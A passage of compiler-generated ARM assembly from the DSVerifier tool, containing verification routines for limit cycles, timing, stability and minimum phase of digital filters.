ldr r3, .L1141+8
ldr r3, [r3, #1608]
ldr r2, [fp, #-76]
cmp r2, r3
blt .L1136
mov r3, #0
str r3, [fp, #-76]
b .L1137
.L1138:
ldr r3, [fp, #-64]
ldr r2, [fp, #-76]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L1141+8
ldr r2, [r2, #1608]
ldr r1, [fp, #-44]
mov r0, r3
bl shiftL
ldr r3, .L1141+8
ldr r3, [r3, #800]
ldr r2, .L1141+8
ldr r2, [r2, #1608]
str r2, [sp, #4]
str r3, [sp]
ldr r3, [fp, #-96]
ldr r2, [fp, #-88]
ldr r1, [fp, #-44]
ldr r0, [fp, #-52]
bl fxp_direct_form_1
mov r1, r0
ldr r3, [fp, #-72]
ldr r2, [fp, #-76]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-72]
ldr r2, [fp, #-76]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L1141+8
ldr r2, [r2, #800]
ldr r1, [fp, #-52]
mov r0, r3
bl shiftL
ldr r3, [fp, #-76]
add r3, r3, #1
str r3, [fp, #-76]
.L1137:
ldr r3, .L1141+16
ldr r3, [r3]
ldr r2, [fp, #-76]
cmp r2, r3
blt .L1138
ldr r3, .L1141+16
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-72]
bl fxp_check_persistent_limit_cycle
mov r3, #0
mov sp, r5
mov sp, r4
ldr r2, .L1141
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1140
bl __stack_chk_fail
.L1140:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L1142:
.align 2
.L1141:
.word .LC63
.word overflow_mode
.word ds
.word .LC58
.word X_SIZE_VALUE
.word __PRETTY_FUNCTION__.7203
.word .LC61
.word .LC62
.word ds+808
.word impl
.size verify_zero_input_limit_cycle, .-verify_zero_input_limit_cycle
.global generic_timer
.bss
.align 2
.type generic_timer, %object
.size generic_timer, 4
generic_timer:
.space 4
.section .rodata
.align 2
.LC64:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/engine/verify_generic_timing.h\000"
.align 2
.LC65:
.ascii "spent_time <= ds.sample_time\000"
.align 2
.LC66:
.word __stack_chk_guard
.text
.align 2
.global verify_generic_timing
.syntax unified
.arm
.fpu softvfp
.type verify_generic_timing, %function
verify_generic_timing:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #80
ldr r3, .L1163
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1163+4
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-76]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-80]
ldr r3, .L1163+4
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-84]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-68]
mov r3, #0
str r3, [fp, #-72]
b .L1144
.L1149:
ldr r2, [fp, #-80]
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
bl nondet_float
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, [fp, #-68]
ldr r1, [fp, #-72]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-68]
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1163+8
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1145
ldr r2, [fp, #-68]
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1163+8
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1145
mov r3, #1
b .L1148
.L1145:
mov r3, #0
.L1148:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1144:
ldr r3, .L1163+4
ldr r3, [r3]
ldr r2, [fp, #-72]
cmp r2, r3
blt .L1149
mov r3, #0
str r3, [fp, #-64]
ldr r3, .L1163+12
ldr r2, [r3, #1608]
ldr r3, .L1163+12
ldr r3, [r3, #800]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-64]
ldr r3, .L1163+12
ldr ip, [r3, #800]
mov r3, sp
mov r5, r3
sub r3, ip, #1
str r3, [fp, #-60]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-56]
ldr r3, .L1163+12
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-52]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-48]
ldr ip, [fp, #-64]
sub r3, ip, #1
str r3, [fp, #-44]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-72]
b .L1150
.L1151:
ldr r2, [fp, #-56]
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1150:
ldr r3, .L1163+12
ldr r3, [r3, #800]
ldr r2, [fp, #-72]
cmp r2, r3
blt .L1151
mov r3, #0
str r3, [fp, #-72]
b .L1152
.L1153:
ldr r2, [fp, #-48]
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1152:
ldr r3, .L1163+12
ldr r3, [r3, #1608]
ldr r2, [fp, #-72]
cmp r2, r3
blt .L1153
mov r3, #0
str r3, [fp, #-72]
b .L1154
.L1155:
ldr r2, [fp, #-40]
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1154:
ldr r2, [fp, #-72]
ldr r3, [fp, #-64]
cmp r2, r3
blt .L1155
ldr r3, .L1163+16
ldr r3, [r3, #36]
lsl r2, r3, #1
ldr r3, .L1163+16
ldr r3, [r3, #72]
add r2, r2, r3
ldr r3, .L1163+20
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L1163+20
str r3, [r2]
ldr r3, .L1163+20
ldr r3, [r3]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r3, #0
str r3, [fp, #-72]
b .L1156
.L1158:
ldr r3, .L1163+16
ldr r3, [r3, #40]
lsl r2, r3, #1
ldr r3, .L1163+16
ldr r3, [r3, #68]
add r2, r2, r3
ldr r3, .L1163+16
ldr r3, [r3, #36]
lsl r3, r3, #1
add r2, r2, r3
ldr r3, .L1163+20
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L1163+20
str r3, [r2]
ldr r3, .L1163+16
ldr r3, [r3, #40]
lsl r2, r3, #1
ldr r3, .L1163+16
ldr r3, [r3, #124]
add r2, r2, r3
ldr r3, .L1163+16
ldr r3, [r3, #96]
add r2, r2, r3
ldr r3, .L1163+16
ldr r3, [r3, #120]
add r2, r2, r3
ldr r3, .L1163+20
ldr r3, [r3]
add r3, r2, r3
ldr r2, .L1163+20
str r3, [r2]
ldr r2, [fp, #-68]
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1163+12
ldr r3, [r3, #1608]
ldr r2, [fp, #-48]
bl generic_timing_shift_l_double
ldr r3, .L1163+12
ldr r3, [r3, #800]
ldr r2, .L1163+12
ldr r2, [r2, #1608]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L1163+24
ldr r2, .L1163+12
ldr r1, [fp, #-48]
ldr r0, [fp, #-56]
bl generic_timing_double_direct_form_1
mov r2, r0
mov r3, r1
ldr r0, [fp, #-80]
ldr r1, [fp, #-72]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-80]
ldr r3, [fp, #-72]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1163+12
ldr r3, [r3, #800]
ldr r2, [fp, #-56]
bl generic_timing_shift_l_double
ldr r3, .L1163+20
ldr r3, [r3]
mov r0, r3
bl __aeabi_i2d
ldr r3, .L1163+16
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, .L1163+12
add r3, r3, #1616
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1157
ldr r3, .L1163+28
mov r2, #89
ldr r1, .L1163+32
ldr r0, .L1163+36
bl __assert_fail
.L1157:
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_d2iz
mov r3, r0
ldr r2, .L1163+20
str r3, [r2]
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L1156:
ldr r3, .L1163+4
ldr r3, [r3]
ldr r2, [fp, #-72]
cmp r2, r3
blt .L1158
mov r3, #0
mov sp, r5
mov sp, r4
ldr r2, .L1163
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1160
bl __stack_chk_fail
.L1160:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L1164:
.align 2
.L1163:
.word .LC66
.word X_SIZE_VALUE
.word impl
.word ds
.word hw
.word generic_timer
.word ds+808
.word __PRETTY_FUNCTION__.7273
.word .LC64
.word .LC65
.size verify_generic_timing, .-verify_generic_timing
.section .rodata
.align 2
.LC67:
.word __stack_chk_guard
.text
.align 2
.global verify_timing_msp_430
.syntax unified
.arm
.fpu softvfp
.type verify_timing_msp_430, %function
verify_timing_msp_430:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #64
ldr r3, .L1184
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1184+4
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-56]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-60]
ldr r3, .L1184+4
ldr ip, [r3]
sub r3, ip, #1
str r3, [fp, #-64]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-52]
b .L1166
.L1171:
ldr r2, [fp, #-60]
ldr r3, [fp, #-52]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
bl nondet_float
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, [fp, #-48]
ldr r1, [fp, #-52]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-48]
ldr r3, [fp, #-52]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1184+8
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
beq .L1167
ldr r2, [fp, #-48]
ldr r3, [fp, #-52]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, .L1184+8
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L1167
mov r3, #1
b .L1170
.L1167:
mov r3, #0
.L1170:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L1166:
ldr r3, .L1184+4
ldr r3, [r3]
ldr r2, [fp, #-52]
cmp r2, r3
blt .L1171
mov r3, #0
str r3, [fp, #-44]
ldr r3, .L1184+12
ldr r2, [r3, #1608]
ldr r3, .L1184+12
ldr r3, [r3, #800]
cmp r2, r3
movge r3, r2
movlt r3, r3
str r3, [fp, #-44]
ldr r3, .L1184+12
ldr ip, [r3, #800]
mov r3, sp
mov r5, r3
sub r3, ip, #1
str r3, [fp, #-40]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-36]
ldr r3, .L1184+12
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-28]
ldr ip, [fp, #-44]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-52]
b .L1172
.L1173:
ldr r2, [fp, #-36]
ldr r3, [fp, #-52]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L1172:
ldr r3, .L1184+12
ldr r3, [r3, #800]
ldr r2, [fp, #-52]
cmp r2, r3
blt .L1173
mov r3, #0
str r3, [fp, #-52]
b .L1174
.L1175:
ldr r2, [fp, #-28]
ldr r3, [fp, #-52]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L1174:
ldr r3, .L1184+12
ldr r3, [r3, #1608]
ldr r2, [fp, #-52]
cmp r2, r3
blt .L1175
mov r3, #0
str r3, [fp, #-52]
b .L1176
.L1177:
ldr r2, [fp, #-20]
ldr r3, [fp, #-52]
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L1176:
ldr r2, [fp, #-52]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L1177
mov r3, #0
str r3, [fp, #-52]
b .L1178
.L1179:
ldr r2, [fp, #-48]
ldr r3, [fp, #-52]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
ldr r3, .L1184+12
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-28]
bl shiftL
ldr r3, .L1184+12
ldr r3, [r3, #800]
ldr r2, .L1184+12
ldr r2, [r2, #1608]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L1184+16
ldr r2, .L1184+12
ldr r1, [fp, #-28]
ldr r0, [fp, #-36]
bl double_direct_form_1_MSP430
mov r2, r0
mov r3, r1
ldr r0, [fp, #-60]
ldr r1, [fp, #-52]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r2, [fp, #-60]
ldr r3, [fp, #-52]
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
ldr r3, .L1184+12
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-36]
bl shiftL
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L1178:
ldr r3, .L1184+4
ldr r3, [r3]
ldr r2, [fp, #-52]
cmp r2, r3
blt .L1179
mov r3, #0
mov sp, r5
mov sp, r4
ldr r2, .L1184
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1181
bl __stack_chk_fail
.L1181:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L1185:
.align 2
.L1184:
.word .LC67
.word X_SIZE_VALUE
.word impl
.word ds
.word ds+808
.size verify_timing_msp_430, .-verify_timing_msp_430
.section .rodata
.align 2
.LC68:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/engine/verify_stability.h\000"
.align 2
.LC69:
.ascii "check_stability(_a, ds.a_size)\000"
.align 2
.LC70:
.word __stack_chk_guard
.text
.align 2
.global verify_stability
.syntax unified
.arm
.fpu softvfp
.type verify_stability, %function
verify_stability:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
ldr r3, .L1190
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1190+4
mov r2, #0
str r2, [r3]
ldr r3, .L1190+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-28]
ldr r3, .L1190+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-28]
ldr r0, .L1190+8
bl fxp_double_to_fxp_array
ldr r3, .L1190+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-20]
ldr r3, .L1190+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-28]
ldr r0, [fp, #-20]
bl fxp_to_double_array
ldr r3, .L1190+8
ldr r3, [r3, #800]
mov r1, r3
ldr r0, [fp, #-20]
bl check_stability
mov r3, r0
cmp r3, #0
bne .L1187
ldr r3, .L1190+12
mov r2, #37
ldr r1, .L1190+16
ldr r0, .L1190+20
bl __assert_fail
.L1187:
mov r3, #0
mov sp, r4
ldr r2, .L1190
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1189
bl __stack_chk_fail
.L1189:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L1191:
.align 2
.L1190:
.word .LC70
.word overflow_mode
.word ds
.word __PRETTY_FUNCTION__.7321
.word .LC68
.word .LC69
.size verify_stability, .-verify_stability
.section .rodata
.align 2
.LC71:
.word __stack_chk_guard
.text
.align 2
.global verify_minimum_phase
.syntax unified
.arm
.fpu softvfp
.type verify_minimum_phase, %function
verify_minimum_phase:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
ldr r3, .L1195
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1195+4
mov r2, #0
str r2, [r3]
ldr r3, .L1195+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-28]
ldr r3, .L1195+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-28]
ldr r0, .L1195+12
bl fxp_double_to_fxp_array
ldr r3, .L1195+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-20]
ldr r3, .L1195+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-28]
ldr r0, [fp, #-20]
bl fxp_to_double_array
ldr r3, .L1195+8
ldr r3, [r3, #1608]
mov r1, r3
ldr r0, [fp, #-20]
bl check_stability
mov r3, r0
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
mov r3, #0
mov sp, r4
ldr r2, .L1195
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L1194
bl __stack_chk_fail
.L1194:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L1196:
.align 2
.L1195:
.word .LC71
.word overflow_mode
.word ds
.word ds+808
.size verify_minimum_phase, .-verify_minimum_phase
.section .rodata
.align 2
.LC72:
.ascii "Verifying stability for closedloop function\000"
.align 2
.LC73:
.word __stack_chk_guard
.text
.align 2
.global verify_stability_closedloop_using_dslib
.syntax unified
.arm
.fpu softvfp
.type verify_stability_closedloop_using_dslib, %function
verify_stability_closedloop_using_dslib:
@ args = 0, pretend = 0, frame = 880
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #892
ldr r3, .L1200
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, .L1200+4
str r3, [fp, #-868]
ldr r3, .L1200+8
ldr r3, [r3, #1608]
str r3, [fp, #-872]
ldr r3, .L1200+8
str r3, [fp, #-876]
ldr r3, .L1200+8
ldr r3, [r3, #800]
str r3, [fp, #-880]
ldr r3, .L1200+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-884]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-888]
ldr r3, .L1200+8
ldr r3, [r3, #1608]
mov r2, r3
ldr r1, [fp, #-888]
ldr r0, [fp, #-868]
bl fxp_double_to_fxp_array
ldr r3, .L1200+8
ldr ip, [r3, #800]
sub r3, ip, #1
str r3, [fp, #-892]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-864]
ldr r3, .L1200+8
ldr r3, [r3, #800]
mov r2, r3
ldr r1, [fp, #-864]
ldr r0, [fp, #-876]
bl fxp_double_to_fxp_array
ldr r3, .L1200+8
ldr ip, [r3, #1608]
sub r3, ip, #1
str r3, [fp, #-860]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
